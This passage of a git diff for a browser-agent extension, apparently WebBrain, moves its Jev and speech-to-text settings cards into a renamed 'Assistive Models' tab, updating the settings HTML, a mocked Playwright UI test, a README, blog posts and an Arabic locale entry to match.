- <div class="setting-row">
- <div class="setting-info"><div class="setting-label" data-i18n="st.system_one.fast_browser"></div></div>
- <label class="toggle"><input type="checkbox" id="toggle-system-one-browser"><span class="toggle-slider"></span></label>
- </div>
- <details class="advanced-settings">
- <summary data-i18n="st.display.advanced"></summary>
- <div class="field">
- <label for="range-system-one-watch-threshold"><span data-i18n="st.system_one.watch_threshold"></span> <span id="system-one-watch-threshold-value">70%</span></label>
- <input type="range" id="range-system-one-watch-threshold" min="50" max="95" step="5" value="70">
- </div>
- <div class="field">
- <label for="range-system-one-completion-threshold"><span data-i18n="st.system_one.completion_threshold"></span> <span id="system-one-completion-threshold-value">70%</span></label>
- <input type="range" id="range-system-one-completion-threshold" min="50" max="95" step="5" value="70">
- </div>
-
- </details>
- <div class="btn-row">
- <button class="btn-primary" id="btn-save-system-one" data-i18n="st.providers.save"></button>
- <button class="btn-secondary" id="btn-test-system-one" data-i18n="st.providers.test"></button>
- <button class="btn-secondary" id="btn-clear-system-one" data-i18n="st.system_one.clear"></button>
- </div>
- <div class="test-result" id="test-system-one"></div>
-
- <div class="info-box" style="margin-top:16px;" data-i18n-html="st.system_one.security_html"></div>
- </div>
<div id="providers"></div>
<div class="info-box" data-i18n-html="st.providers.info.html"></div>
@@ -1742,43 +1674,6 @@
<div class="test-result" id="test-vision"></div>
</div>
- <h3 class="mm-section-heading">
- <svg class="mm-section-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
- <path d="M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z"/>
- <path d="M19 10v2a7 7 0 0 1-14 0v-2"/>
- <line x1="12" y1="19" x2="12" y2="23"/>
- <line x1="8" y1="23" x2="16" y2="23"/>
- </svg>
- <span data-i18n="st.transcription.heading"></span>
- </h3>
- <div class="provider-card" id="transcription-card">
- <div style="font-size:12px;color:var(--text2);margin-bottom:12px;line-height:1.5;" data-i18n="st.transcription.desc"></div>
- <div class="field">
- <label class="mm-field-label">
- <span data-i18n="st.provider.field.api_base_url"></span>
- <span class="mm-detected-provider" id="transcription-detected" hidden>
- <img class="provider-icon" id="transcription-detected-icon" alt="" width="16" height="16" decoding="async" draggable="false">
- <span id="transcription-detected-label"></span>
- </span>
- </label>
- <input type="text" id="transcription-base-url" placeholder="https://api.openai.com/v1">
- </div>
- <div class="field">
- <label data-i18n="st.provider.field.api_key"></label>
- <input type="password" id="transcription-api-key" placeholder="sk-...">
- </div>
- <div class="field">
- <label data-i18n="st.provider.field.model"></label>
- <input type="text" id="transcription-model" placeholder="whisper-1">
- </div>
- <div class="btn-row">
- <button class="btn-primary" id="btn-save-transcription" data-i18n="st.transcription.save"></button>
- <button class="btn-secondary" id="btn-test-transcription" data-i18n="st.transcription.test"></button>
- <button class="btn-secondary" id="btn-clear-transcription" data-i18n="st.transcription.clear"></button>
- </div>
- <div class="test-result" id="test-transcription"></div>
- </div>
-
<h3 data-i18n="st.imageBudget.heading" style="margin:24px 0 12px;font-size:14px;font-weight:600;"></h3>
<div class="provider-card" id="image-budget-card">
<div style="font-size:12px;color:var(--text2);margin-bottom:14px;line-height:1.5;" data-i18n="st.imageBudget.desc"></div>
@@ -1836,6 +1731,117 @@
</div>
<div class="info-box" data-i18n-html="st.redaction.warning"></div>
</div>
+
+ <h3 class="mm-section-heading">
+ <svg class="mm-section-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
+ <path d="M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z"/>
+ <path d="M19 10v2a7 7 0 0 1-14 0v-2"/>
+ <line x1="12" y1="19" x2="12" y2="23"/>
+ <line x1="8" y1="23" x2="16" y2="23"/>
+ </svg>
+ <span data-i18n="st.transcription.heading"></span>
+ </h3>
+ <div class="provider-card" id="transcription-card">
+ <div style="font-size:12px;color:var(--text2);margin-bottom:12px;line-height:1.5;" data-i18n="st.transcription.desc"></div>
+ <div class="field">
+ <label class="mm-field-label">
+ <span data-i18n="st.provider.field.api_base_url"></span>
+ <span class="mm-detected-provider" id="transcription-detected" hidden>
+ <img class="provider-icon" id="transcription-detected-icon" alt="" width="16" height="16" decoding="async" draggable="false">
+ <span id="transcription-detected-label"></span>
+ </span>
+ </label>
+ <input type="text" id="transcription-base-url" placeholder="https://api.openai.com/v1">
+ </div>
+ <div class="field">
+ <label data-i18n="st.provider.field.api_key"></label>
+ <input type="password" id="transcription-api-key" placeholder="sk-...">
+ </div>
+ <div class="field">
+ <label data-i18n="st.provider.field.model"></label>
+ <input type="text" id="transcription-model" placeholder="whisper-1">
+ </div>
+ <div class="btn-row">
+ <button class="btn-primary" id="btn-save-transcription" data-i18n="st.transcription.save"></button>
+ <button class="btn-secondary" id="btn-test-transcription" data-i18n="st.transcription.test"></button>
+ <button class="btn-secondary" id="btn-clear-transcription" data-i18n="st.transcription.clear"></button>
+ </div>
+ <div class="test-result" id="test-transcription"></div>
+ </div>
+
+ <h3 class="mm-section-heading" id="system-one-heading">
+ <svg class="mm-section-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
+ <circle cx="12" cy="12" r="9"/>
+ <path d="m8 12 3 3 5-6"/>
+ </svg>
+ <span data-i18n="st.system_one.title"></span>
+ </h3>
+ <div class="provider-card" id="system-one-card" aria-labelledby="system-one-heading">
+ <div style="font-size:12px;color:var(--text2);margin-bottom:14px;line-height:1.55;" data-i18n-html="st.system_one.desc_html"></div>
+
+ <div class="setting-row">
+ <div class="setting-info">
+ <div class="setting-label" data-i18n="st.system_one.enabled.label"></div>
+ </div>
+ <label class="toggle">
+ <input type="checkbox" id="toggle-system-one">
+ <span class="toggle-slider"></span>
+ </label>
+ </div>
+
+ <div class="field">
+ <label for="system-one-api-key" data-i18n="st.system_one.api_key.label"></label>
+ <input type="password" id="system-one-api-key" placeholder="ts_…" autocomplete="off" spellcheck="false">
+ </div>
+
+ <div class="setting-row">
+ <div class="setting-info">
+ <div class="setting-label" data-i18n="st.system_one.watch.label"></div>
+ </div>
+ <label class="toggle">
+ <input type="checkbox" id="toggle-system-one-watch">
+ <span class="toggle-slider"></span>
+ </label>
+ </div>
+ <div class="setting-row">
+ <div class="setting-info">
+ <div class="setting-label" data-i18n="st.system_one.completion.label"></div>
+ </div>
+ <label class="toggle">
+ <input type="checkbox" id="toggle-system-one-completion">
+ <span class="toggle-slider"></span>
+ </label>
+ </div>
+
+ <div class="setting-row">
+ <div class="setting-info"><div class="setting-label" data-i18n="st.system_one.fast_classifications"></div></div>
+ <label class="toggle"><input type="checkbox" id="toggle-system-one-classifications"><span class="toggle-slider"></span></label>
+ </div>
+ <div class="setting-row">
+ <div class="setting-info"><div class="setting-label" data-i18n="st.system_one.fast_browser"></div></div>
+ <label class="toggle"><input type="checkbox" id="toggle-system-one-browser"><span class="toggle-slider"></span></label>
+ </div>
+ <details class="advanced-settings">
+ <summary data-i18n="st.display.advanced"></summary>
+ <div class="field">
+ <label for="range-system-one-watch-threshold"><span data-i18n="st.system_one.watch_threshold"></span> <span id="system-one-watch-threshold-value">70%</span></label>
+ <input type="range" id="range-system-one-watch-threshold" min="50" max="95" step="5" value="70">
+ </div>
+ <div class="field">
+ <label for="range-system-one-completion-threshold"><span data-i18n="st.system_one.completion_threshold"></span> <span id="system-one-completion-threshold-value">70%</span></label>
+ <input type="range" id="range-system-one-completion-threshold" min="50" max="95" step="5" value="70">
+ </div>
+
+ </details>
+ <div class="btn-row">
+ <button class="btn-primary" id="btn-save-system-one" data-i18n="st.providers.save"></button>
+ <button class="btn-secondary" id="btn-test-system-one" data-i18n="st.providers.test"></button>
+ <button class="btn-secondary" id="btn-clear-system-one" data-i18n="st.system_one.clear"></button>
+ </div>
+ <div class="test-result" id="test-system-one"></div>
+
+ <div class="info-box" style="margin-top:16px;" data-i18n-html="st.system_one.security_html"></div>
+ </div>
</section>
<section class="tab-panel" data-panel="memory" role="tabpanel">
diff --git a/test/fixtures/screenshot-redaction-manual.html b/test/fixtures/screenshot-redaction-manual.html
index c3b606425..05a257376 100644
--- a/test/fixtures/screenshot-redaction-manual.html
+++ b/test/fixtures/screenshot-redaction-manual.html
@@ -27,7 +27,7 @@
<h1>Screenshot redaction manual test page (issue #312)</h1>
<div id="banner">
<strong>How to use:</strong> serve or open this file, turn on
- <strong>Settings → Multimodal → Screenshot redaction</strong> in the
+ <strong>Settings → Assistive Models → Vision → Screenshot redaction</strong> in the
extension, then run <code>/screenshot</code> (or ask the agent to take a
screenshot / verify the page). Compare the returned image against the
<span class="expect redact">REDACT</span> / <span class="expect skip">SKIP</span>
diff --git a/test/jev/README.md b/test/jev/README.md
index 0d3ffc44d..b611eb6eb 100644
--- a/test/jev/README.md
+++ b/test/jev/README.md
@@ -37,6 +37,22 @@ cost. Acceptance requires all 120 attempts, at least 25% lower median duration,
no success regression and no wrong or repeated Jev actions. No general speed
claim should be made from fixture-only or mocked results.
+## Settings and documentation checks
+
+Configure Jev under **Settings → Assistive Models → Jev (TypeSafe)**, after
+Vision and Speech to text. The two speed switches are independent of scheduled
+verification and remain off by default.
+
+`npm run test:systemone:ui` checks both browsers in English and Turkish at narrow
+and wide widths, including the retained `#multimodal` link, remembered tabs,
+provider-filter independence, preference retention, and save/test/delete.
+Connection tests are mocked; the test never calls TypeSafe.
+
+To refresh the documentation images from this synthetic configuration, run
+`JEV_DOC_SCREENSHOTS=web/docs/assets/screenshots npm run test:systemone:ui`.
+Review the resulting screenshots before committing them. The capture clears the
+synthetic Jev key and disables every Jev option before taking documentation images.
+
## Completion trace investigation
A user-supplied v36.7.1 trace showed 8 `done` attempts among 27 tool calls in its
diff --git a/test/manual-screenshot-redaction.md b/test/manual-screenshot-redaction.md
index f6b23f8cd..ca6c01596 100644
--- a/test/manual-screenshot-redaction.md
+++ b/test/manual-screenshot-redaction.md
@@ -18,7 +18,7 @@ to eyeball the actual pixelation before merging changes to
2. Load the unpacked extension (Chrome: `chrome://extensions` → Developer
mode → Load unpacked → `src/chrome`. Firefox: `about:debugging` → This
Firefox → Load Temporary Add-on → `src/firefox/manifest.json`).
-3. Settings → **Multimodal** → turn **Screenshot redaction** on.
+3. Settings → **Assistive Models → Vision** → turn **Screenshot redaction** on.
## Test 1 — Redaction on, take a screenshot
diff --git a/test/systemone-ui.mjs b/test/systemone-ui.mjs
index 181d419e0..4a810d558 100644
--- a/test/systemone-ui.mjs
+++ b/test/systemone-ui.mjs
@@ -4,6 +4,7 @@ import { readFile, mkdir } from 'node:fs/promises';
import { resolve, extname } from 'node:path';
import assert from 'node:assert/strict';
const root = resolve('.');
+const { version } = JSON.parse(await readFile(resolve(root, 'package.json'), 'utf8'));
const server = createServer(async (req, res) => {
try { const file = resolve(root, '.' + new URL(req.url, 'http://localhost').pathname); if (!file.startsWith(root + '/')) throw Error();
res.setHeader('Content-Type', ({ '.js': 'text/javascript', '.mjs': 'text/javascript', '.html': 'text/html', '.css': 'text/css', '.svg': 'image/svg+xml' })[extname(file)] || 'text/plain'); res.end(await readFile(file));
@@ -12,6 +13,31 @@ const server = createServer(async (req, res) => {
await new Promise(r => server.listen(0, '127.0.0.1', r));
const origin = `http://127.0.0.1:${server.address().port}`;
const output = process.env.JEV_UI_OUTPUT || '/tmp/jev-ui-review'; await mkdir(output, { recursive: true });
+async function captureDocScreenshots(page, directory) {
+ await mkdir(directory, { recursive: true });
+ await page.locator('#system-one-card details').evaluate(el => { el.open = false; });
+ await page.locator('#test-system-one').evaluate(el => { el.textContent = ''; el.className = 'test-result'; });
+ for (const [tab, name] of [['providers', 'providers'], ['display', 'general'], ['memory', 'memory'], ['permissions', 'permissions'], ['multimodal', 'assistive-models']]) {
+ await page.locator(`[data-tab="${tab}"]`).click();
+ if (tab === 'providers') await page.locator('#input-provider-search').fill('');
+ await page.evaluate(() => { document.activeElement?.blur(); scrollTo(0, 0); });
+ await page.mouse.move(0, 0);
+ await page.screenshot({ animations: 'disabled', caret: 'hide', path: resolve(directory, `settings-${name}.jpg`), type: 'jpeg', quality: 85 });
+ }
+ await page.locator('#system-one-heading').scrollIntoViewIfNeeded();
+ const clip = await page.evaluate(() => {
+ const heading = document.querySelector('#system-one-heading').getBoundingClientRect();
+ const card = document.querySelector('#system-one-card').getBoundingClientRect();
+ return { x: card.x + scrollX, y: heading.y + scrollY, width: card.width, height: card.bottom - heading.y };
+ });
+ await page.screenshot({ animations: 'disabled', caret: 'hide', path: resolve(directory, 'settings-jev.jpg'), type: 'jpeg', quality: 85, fullPage: true, clip });
+ await page.locator('[data-tab="display"]').click();
+ await page.locator('#input-general-search').fill('Strict secret');
+ await page.evaluate(() => { document.activeElement?.blur(); scrollTo(0, 0); });
+ await page.mouse.move(0, 0);
+ await page.screenshot({ animations: 'disabled', caret: 'hide', path: resolve(directory, 'settings-advanced.jpg'), type: 'jpeg', quality: 85 });
+ await page.locator('#input-general-search').fill('');
+}
try {
for (const [build, engine] of [['chrome', chromium], ['firefox', firefox]]) {
const browser = await engine.launch();
@@ -19,7 +45,7 @@ try {
for (const lang of ['en', 'tr']) for (const width of [390, 1280]) {
const page = await browser.newPage({ viewport: { width, height: 1000 } });
const errors = []; page.on('pageerror', error => errors.push(error.message));
- await page.addInitScript(({ lang, build }) => {
+ await page.addInitScript(({ lang, build, version }) => {
localStorage.setItem('wbLocale', lang);
const data = { wbLocale: lang, typesafeApiKey: '', systemOneEnabled: false, systemOneWatchEnabled: true, systemOneCompletionEnabled: true };
window.testStore = data; window.testRequests = [];
@@ -31,43 +57,74 @@ try {
};
window.chrome = window.browser = {
storage: { local: storage, onChanged: { addListener: fn => listeners.push(fn) } },
- runtime: { getURL: path => `${location.origin}/src/${build}/${path}`, getManifest: () => ({ version: 'test' }), onMessage: { addListener() {} }, sendMessage(msg, callback) {
+ runtime: { getURL: path => `${location.origin}/src/${build}/${path}`, getManifest: () => ({ version }), onMessage: { addListener() {} }, sendMessage(msg, callback) {
window.testRequests.push(msg);
- const result = msg.action === 'get_providers' ? { providers: {}, active: null } : msg.action === 'test_system_one' ? { success: true, model: 'jev-1.13.0' } : {};
+ const result = msg.action === 'get_providers' ? { providers: { llamacpp: { label: 'llama.cpp', category: 'local', baseUrl: 'http://localhost:8080/v1', model: 'local-model', configured: true }, openai: { label: 'OpenAI', category: 'cloud', apiKey: '', model: 'gpt-4o-mini' } }, active: 'llamacpp' } : msg.action === 'test_system_one' ? { success: true, model: 'jev-1.13.0' } : {};
callback?.(result); return Promise.resolve(result);
} },
commands: { getAll: async () => [] }, tabs: { create: async () => ({}) },
};
- }, { lang, build });
- await page.goto(`${origin}/src/${build}/src/ui/settings.html`);
+ }, { lang, build, version });
+ await page.goto(`${origin}/src/${build}/src/ui/settings.html#multimodal`);
+ await page.waitForFunction(() => document.querySelector('#system-one-heading')?.textContent.trim() === 'Jev (TypeSafe)');
+ assert.equal(await page.locator('[data-tab="multimodal"]').textContent(), lang === 'tr' ? 'Yardımcı Modeller' : 'Assistive Models');
+ assert.equal(await page.locator('[data-panel="multimodal"]').isVisible(), true, 'existing deep link opens Assistive Models');
+ assert.equal(await page.locator('[data-panel="providers"] #system-one-card').count(), 0);
+ assert.deepEqual(await page.locator('[data-panel="multimodal"] > .provider-card').evaluateAll(cards => cards.map(card => card.id)), [
+ 'vision-card', 'image-budget-card', 'redaction-card', 'transcription-card', 'system-one-card',
+ ]);
+ // A label change must retain saved tab selection as well as old deep links.
+ await page.evaluate(() => history.replaceState(null, '', location.pathname));
await page.locator('[data-tab="providers"]').click();
- await page.waitForFunction(() => document.querySelector('#system-one-card h3')?.textContent === 'Jev (TypeSafe)');
- assert.equal(await page.locator('#providers #system-one-card').count(), 0);
+ await page.reload();
+ assert.equal(await page.locator('[data-panel="providers"]').isVisible(), true);
+ await page.locator('[data-tab="multimodal"]').click();
+ await page.reload();
+ await page.waitForFunction(() => document.querySelector('#system-one-heading')?.textContent.trim() === 'Jev (TypeSafe)');
+ assert.equal(await page.locator('[data-panel="multimodal"]').isVisible(), true);
assert.equal(await page.evaluate(() => testRequests.filter(r => r.action === 'test_system_one').length), 0);
assert.equal(await page.locator('#toggle-system-one-classifications').isChecked(), false);
assert.equal(await page.locator('#toggle-system-one-browser').isChecked(), false);
await page.locator('#toggle-system-one-classifications').locator('..').click();
await page.locator('#toggle-system-one-browser').locator('..').click();
await page.locator('#system-one-api-key').fill('synthetic-test-key');
+ await page.locator('[data-tab="providers"]').click();
const search = page.locator('#providers .provider-search input');
if (await search.count()) await search.fill('No matching provider');
assert.equal(await page.locator('#providers .provider-filter-bar').count(), 1);
+ await page.locator('[data-tab="multimodal"]').click();
assert.equal(await page.locator('#system-one-api-key').inputValue(), 'synthetic-test-key');
await page.locator('#btn-save-system-one').click();
await page.waitForFunction(() => testStore.typesafeApiKey === 'synthetic-test-key');
assert.equal(await page.evaluate(() => testStore.systemOneWatchEnabled), true);
+ assert.equal(await page.evaluate(() => testStore.systemOneCompletionEnabled), true);
+ await page.locator('#toggle-system-one').locator('..').click();
+ await page.locator('#btn-save-system-one').click();
+ await page.waitForFunction(() => testStore.systemOneEnabled === true);
+ await page.locator('#toggle-system-one').locator('..').click();
+ await page.locator('#btn-save-system-one').click();
+ await page.waitForFunction(() => testStore.systemOneEnabled === false);
+ assert.equal(await page.evaluate(() => testStore.systemOneWatchEnabled), true);
+ assert.equal(await page.evaluate(() => testStore.systemOneCompletionEnabled), true);
assert.equal(await page.evaluate(() => testStore.systemOneFastBrowser), true);
assert.equal(await page.evaluate(() => testStore.systemOneFastClassifications), true);
await page.locator('#btn-test-system-one').click();
await page.waitForFunction(() => testRequests.filter(r => r.action === 'test_system_one').length === 1);
await page.locator('#system-one-card details').evaluate(el => { el.open = true; });
- await page.screenshot({ path: `${output}/${build}-${lang}-${width}.png`, fullPage: true });
+ await page.screenshot({ animations: 'disabled', caret: 'hide', path: `${output}/${build}-${lang}-${width}.png`, fullPage: true });
await page.locator('#btn-clear-system-one').click();
assert.equal(await page.locator('#range-system-one-watch-threshold').inputValue(), '70');
assert.equal(await page.locator('#toggle-system-one-watch').isChecked(), false);
+ assert.equal(await page.locator('#toggle-system-one').isChecked(), false);
+ assert.equal(await page.locator('#toggle-system-one-completion').isChecked(), false);
+ assert.equal(await page.locator('#range-system-one-completion-threshold').inputValue(), '70');
assert.equal(await page.locator('#toggle-system-one-browser').isChecked(), false);
assert.equal(await page.locator('#toggle-system-one-classifications').isChecked(), false);
assert.equal(await page.evaluate(() => testStore.typesafeApiKey), undefined);
+ if (build === 'chrome' && lang === 'en' && width === 1280 && process.env.JEV_DOC_SCREENSHOTS) {
+ await captureDocScreenshots(page, process.env.JEV_DOC_SCREENSHOTS);
+ }
+ assert.equal(await page.evaluate(() => document.documentElement.scrollWidth <= innerWidth), true, 'settings fit viewport');
assert.deepEqual(errors, []);
await page.close(); console.log(`${build} ${lang} ${width}: settings save/test/clear passed`);
}
diff --git a/web/blog/posts/vision-model-shootout.md b/web/blog/posts/vision-model-shootout.md
index 6e146fb4d..bcdad541c 100644
--- a/web/blog/posts/vision-model-shootout.md
+++ b/web/blog/posts/vision-model-shootout.md
@@ -103,7 +103,7 @@ Browser-agent screenshots fire frequently — once after every state-changing to
## What this changes in WebBrain
-Nothing in the code, but something in the recommended configuration. If you're setting up the dedicated vision model in **Settings → Vision Model**:
+Nothing in the code, but something in the recommended configuration. If you're setting up the dedicated vision model in **Settings → Assistive Models → Vision**:
- **If you have the VRAM (~20 GB for a decent quant):** Qwen3.6-35B-A3B is the new default recommendation.
- **If you're VRAM-constrained or latency-sensitive:** Gemma 4-31B at 574 prompt tokens per image is attractive, but you probably want to tighten the prompt's section 6 wording — escalating it from *"say so"* to an explicit "if any text is a username, email, dollar amount, date, or ID and you are even slightly unsure of a single character, list it in Unknowns verbatim and leave it out of section 2" — so its identifier-OCR failure mode flags itself instead of confabulating.
diff --git a/web/blog/posts/webbrain-31-offline-webgpu-vision.md b/web/blog/posts/webbrain-31-offline-webgpu-vision.md
index 76f8e455f..ac0654f3b 100644
--- a/web/blog/posts/webbrain-31-offline-webgpu-vision.md
+++ b/web/blog/posts/webbrain-31-offline-webgpu-vision.md
@@ -51,7 +51,7 @@ In other words, WebBrain supplies the eyes while the model you chose remains the
## What it looks like in WebBrain 31
-The shipped setting is under **Settings → Multimodal → Vision**. Enable **LFM2.5-VL local fallback** to run the ONNX model on your GPU. The active provider continues to handle planning and tool calls; the in-browser fallback reads screenshots locally.
+In current versions, the setting is under **Settings → Assistive Models → Vision**. The tab was named Multimodal in WebBrain 31.0.0. Enable **LFM2.5-VL local fallback** to run the ONNX model on your GPU. The active provider continues to handle planning and tool calls; the in-browser fallback reads screenshots locally.
<figure>
<img src="/assets/webbrain-31-lfm25-vl-local-fallback-settings.png" alt="WebBrain 31.0.0 Multimodal Vision settings with the LFM2.5-VL local fallback enabled" width="1586" height="1384" loading="lazy">
@@ -92,7 +92,7 @@ This is also a more sustainable way to improve WebBrain. A lightweight visual la
## Available now in WebBrain 31.0.0
-Offline WebGPU vision is optional in WebBrain 31.0.0. Users with compatible browser and device support can enable the local model under **Settings → Multimodal → Vision**, while existing local and hosted vision configurations remain available for people who prefer them or need a different capability profile.
+Offline WebGPU vision is optional in WebBrain 31.0.0. Users with compatible browser and device support can enable the local model under **Settings → Assistive Models → Vision**, while existing local and hosted vision configurations remain available for people who prefer them or need a different capability profile.
We will continue sharing compatibility notes and real WebBrain vision results as more people use the local fallback.
diff --git a/web/blog/vision-model-shootout/index.html b/web/blog/vision-model-shootout/index.html
index a32742c43..fb73f00c2 100644
--- a/web/blog/vision-model-shootout/index.html
+++ b/web/blog/vision-model-shootout/index.html
@@ -554,7 +554,7 @@
<p>If you've been picking vision models by dense parameter count — "27B is smaller than 35B, so it'll be cheaper to run" — this shootout is a reminder that MoE upends that heuristic. For roughly the same VRAM (same-family 4-bit quants land in the 18–22 GB range for both), the A3B variant outperforms the dense 27B on <em>every</em> axis: latency, caption quality, and calibrated uncertainty. You pay for 35B of parameters at load time and get ~3B-worth of latency per token at inference.</p>
<p>Browser-agent screenshots fire frequently — once after every state-changing tool call in WebBrain's <code>state_change</code> mode — so per-image latency compounds fast. Five seconds per auto-screenshot vs eight is a meaningful UX difference over a 10-step task.</p>
<h2 id="what-this-changes-in-webbrain">What this changes in WebBrain</h2>
-<p>Nothing in the code, but something in the recommended configuration. If you're setting up the dedicated vision model in <strong>Settings → Vision Model</strong>:</p>
+<p>Nothing in the code, but something in the recommended configuration. If you're setting up the dedicated vision model in <strong>Settings → Assistive Models → Vision</strong>:</p>
<ul><li><strong>If you have the VRAM (~20 GB for a decent quant):</strong> Qwen3.6-35B-A3B is the new default recommendation.</li><li><strong>If you're VRAM-constrained or latency-sensitive:</strong> Gemma 4-31B at 574 prompt tokens per image is attractive, but you probably want to tighten the prompt's section 6 wording — escalating it from <em>"say so"</em> to an explicit "if any text is a username, email, dollar amount, date, or ID and you are even slightly unsure of a single character, list it in Unknowns verbatim and leave it out of section 2" — so its identifier-OCR failure mode flags itself instead of confabulating.</li><li><strong>Don't use Qwen3.5-27B unless you can't run the A3B.</strong> Same cost, worse quality, slower.</li><li><strong>Gemma 4-E2B is not a serious option</strong> for this job. Use it for speculative decoding, not for page understanding.</li></ul>
<h2 id="reproducing-this">Reproducing this</h2>
<p>The probe is <code>test/vision-probe.mjs</code> in the repo. It sends the same system prompt, user text, and parameters the extension uses, against any OpenAI-compatible endpoint:</p>
diff --git a/web/blog/webbrain-31-offline-webgpu-vision/index.html b/web/blog/webbrain-31-offline-webgpu-vision/index.html
index 125cede1c..2ea0067e2 100644
--- a/web/blog/webbrain-31-offline-webgpu-vision/index.html
+++ b/web/blog/webbrain-31-offline-webgpu-vision/index.html
@@ -533,7 +533,7 @@
<ol><li><strong>LFM2.5-VL-450M sees the page locally.</strong> The vision step runs through WebGPU on the user's device.</li><li><strong>WebBrain converts the useful visual state into context.</strong> The planner gets the information it needs without requiring native image input.</li><li><strong>The user's original model decides what to do.</strong> Its checkpoint, serving setup, and text-only interface can remain unchanged.</li></ol>
<p>In other words, WebBrain supplies the eyes while the model you chose remains the brain.</p>
<h2 id="what-it-looks-like-in-webbrain-31">What it looks like in WebBrain 31</h2>
-<p>The shipped setting is under <strong>Settings → Multimodal → Vision</strong>. Enable <strong>LFM2.5-VL local fallback</strong> to run the ONNX model on your GPU. The active provider continues to handle planning and tool calls; the in-browser fallback reads screenshots locally.</p>
+<p>In current versions, the setting is under <strong>Settings → Assistive Models → Vision</strong>. The tab was named Multimodal in WebBrain 31.0.0. Enable <strong>LFM2.5-VL local fallback</strong> to run the ONNX model on your GPU. The active provider continues to handle planning and tool calls; the in-browser fallback reads screenshots locally.</p>
<figure>
<img src="/assets/webbrain-31-lfm25-vl-local-fallback-settings.png" alt="WebBrain 31.0.0 Multimodal Vision settings with the LFM2.5-VL local fallback enabled" width="1586" height="1384" loading="lazy">
<figcaption>WebBrain 31.0.0 with LFM2.5-VL local fallback enabled. Screenshots stay on the device, while the original active provider remains responsible for planning and tool calls.</figcaption>
@@ -554,7 +554,7 @@
<ul><li><strong>Lower cost.</strong> Visual understanding does not require a paid image call on every screenshot, and users can keep an inexpensive text-only route for the main agent loop.</li><li><strong>More privacy.</strong> When offline vision is enabled, screenshots are processed on the device instead of being uploaded to a vision provider. If the planner is remote, its normal text context still follows that provider's data path; the image itself does not need to.</li><li><strong>More choice.</strong> Users do not have to wait for a special vision fine-tune or switch away from a model that already performs well for their tasks. The original, unmodified text checkpoint can stay in place.</li></ul>
<p>This is also a more sustainable way to improve WebBrain. A lightweight visual layer can serve many different planners, so every strong text-only release becomes a more complete browser-agent option without requiring a new multimodal graft for each model.</p>
<h2 id="available-now-in-webbrain-31-0-0">Available now in WebBrain 31.0.0</h2>
-<p>Offline WebGPU vision is optional in WebBrain 31.0.0. Users with compatible browser and device support can enable the local model under <strong>Settings → Multimodal → Vision</strong>, while existing local and hosted vision configurations remain available for people who prefer them or need a different capability profile.</p>
+<p>Offline WebGPU vision is optional in WebBrain 31.0.0. Users with compatible browser and device support can enable the local model under <strong>Settings → Assistive Models → Vision</strong>, while existing local and hosted vision configurations remain available for people who prefer them or need a different capability profile.</p>
<p>We will continue sharing compatibility notes and real WebBrain vision results as more people use the local fallback.</p>
<p>Most of all, thank you to <strong>Liquid AI</strong> for making LFM2.5-VL-450M open source and openly available. A capable vision model below one gigabyte is what makes this split architecture practical, and releasing it under the LFM Open License gives projects like WebBrain a foundation to build on.</p>
<p>Tags: #WebBrain #WebGPU #OfflineAI #LiquidAI #LFM25VL #LocalAI #BrowserAgent</p>
diff --git a/web/build/locales/ar.json b/web/build/locales/ar.json
index 784ea74d8..da13b941b 100644
--- a/web/build/locales/ar.json
+++ b/web/build/locales/ar.json
@@ -304,7 +304,7 @@
"faq.profile.q": "كيف يعمل تعبئة الملف الشخصي تلقائيًا، وهل هي آمنة؟",
"faq.profile.a_html": "<p>تعبئة الملف الشخصي تلقائيًا ميزة اختيارية في <strong>الإعدادات ← الملف الشخصي</strong>. تُدخل نبذة قصيرة — الاسم، البريد المهني، الشركة، وكلمة مرور <em>للاستعمال لمرّة واحدة</em> للتسجيلات منخفضة المخاطر — وتفعّلها. عند التفعيل، يُلحق WebBrain هذا النص بـ prompt النظام للوكيل ليملأ نماذج التسجيل دون السؤال في كل مرة.</p><p>يُخزَّن النص <strong>بصيغة نصية واضحة</strong> في التخزين المحلي للمتصفح. <strong>لا</strong> يُرسَل إلى مشروع WebBrain، لكنه <strong>يُرسَل</strong> إلى مزوّد LLM الذي ضبطته على كل دور كجزء من prompt النظام. مُعطّل افتراضيًا.</p><p><strong>لا تضع كلمات مرور حسابات مهمة</strong> هنا (Google، Apple، iCloud، البنوك، SSO العمل، البريد الرئيسي). هذه الحسابات يجب أن تستخدم 2FA، ولا يجدر تسليمها لوكيل أصلًا. الاستخدام المقصود كلمة مرور للاستعمال لمرة واحدة تعيد استخدامها لتسجيلات النشرات البريدية والتجارب المجانية.</p>",
"faq.screenshot_redaction.q": "هل يضمن إعداد تعتيم لقطات الشاشة عدم وصول بياناتي الخاصة أبدًا إلى نموذج رؤية سحابي؟",
